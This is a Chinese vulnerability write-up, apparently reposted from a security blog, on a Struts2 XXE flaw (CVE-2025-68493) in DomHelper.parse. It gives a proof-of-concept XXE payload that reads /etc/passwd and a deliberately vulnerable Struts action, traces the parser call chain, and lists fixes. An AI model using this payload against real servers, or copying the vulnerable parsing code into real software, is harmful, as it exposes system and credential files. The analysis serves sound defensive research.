文章总结: 本文深入分析了Struts2CVE-2025-68493XXE漏洞,根因位于DomHelper.parse方法调用SAX解析器时未正确限制外部实体。文章详细追踪了从DomHelper到XMLEntityManager的调用栈,确认默认安全属性允许所有协议访问。文中包含漏洞复现代码与截图,并提供了升级组件或配置JVM参数禁止外部DTD访问的具体修复方案。 综合评分: 90 文章分类: 漏洞分析,漏洞POC,WEB安全
Struts2 XXE漏洞(CVE-2025-68493)分析及复现
原创
Y5neKO
Y5Sec
2026年1月14日 12:56 四川
CVE-2025-68493
漏洞点
位置:com.opensymphony.xwork2.util.DomHelper.parse
环境
java:
import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import java.io.IOException;
import java.io.StringReader;
public class Test {
public static void main(String[] args) throws IOException {
String xmlContent = "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><root>&xxe;</root>";
InputSource inputSource = new InputSource(
new StringReader(xmlContent)
);
Document document = DomHelper.parse(inputSource);
if (document != null && document.getDocumentElement() != null) {
System.out.println(document.getDocumentElement().getTextContent());
}
}
}
struts:
package com.y5neko.vul.action;
import com.opensymphony.xwork2.ActionSupport;
import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import java.io.StringReader;
public class XmlParserNoDtdAction extends ActionSupport {
private String xmlContent;
private String result;
private String error;
public String execute() {
return SUCCESS;
}
public String parse() {
try {
if (xmlContent == null || xmlContent.trim().isEmpty()) {
error = "XML 内容不能为空";
return ERROR;
}
InputSource inputSource = new InputSource(
new StringReader(xmlContent)
);
Document document = DomHelper.parse(inputSource);
if (document != null && document.getDocumentElement() != null) {
result = document.getDocumentElement().getTextContent();
addActionMessage("XML 解析成功");
} else {
error = "XML 解析失败";
return ERROR;
}
} catch (Exception e) {
StringBuilder sb = new StringBuilder();
sb.append(e.getClass().getSimpleName());
if (e.getMessage() != null) {
sb.append(": ").append(e.getMessage());
}
error = sb.toString();
e.printStackTrace();
return ERROR;
}
return SUCCESS;
}
public String getXmlContent() {
return xmlContent;
}
public void setXmlContent(String xmlContent) {
this.xmlContent = xmlContent;
}
public String getResult() {
return result;
}
public void setResult(String result) {
this.result = result;
}
public String getError() {
return error;
}
public void setError(String error) {
this.error = error;
}
}
分析
进入重载方法,dtdMappings为null
使用SAXParserFactory作为factory
直接进入SAXParserImpl的parse方法,依次跟进
直到com.sun.org.apache.xerces.internal.parsers.parse
securityPropertyManager负责管理JAXP安全属性
其中ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA分别决定DTD阶段和XML Schema (XSD)阶段是否允许访问外部实体,默认为all,即允许所有协议,参考:
https://docs.oracle.com/en/java/javase/25/docs/api/java.xml/javax/xml/XMLConstants.html#ACCESS_EXTERNAL_DTD
继续回到执行点
随后就是内部的xml解析逻辑,完整调用链如下:
DomHelper.parse()
↓
SAXParser.parse()
↓
XMLParser.parse()
↓
XML11Configuration.parse()
↓
XMLEntityManager.startEntity()
↓
XMLScanner.scanDocument()
↓
XMLDTDScannerImpl.scanDTD()
↓
XMLDocumentScannerImpl.scanStartElement()
↓
XMLSchemaValidator / ContentHandler
复现
修复
1、升级Struts2版本;
2、jvm参数直接置空 XML 解析器的三个安全参数;
-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Y5Sec Y5neKO《Struts2 XXE漏洞(CVE-2025-68493)分析及复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论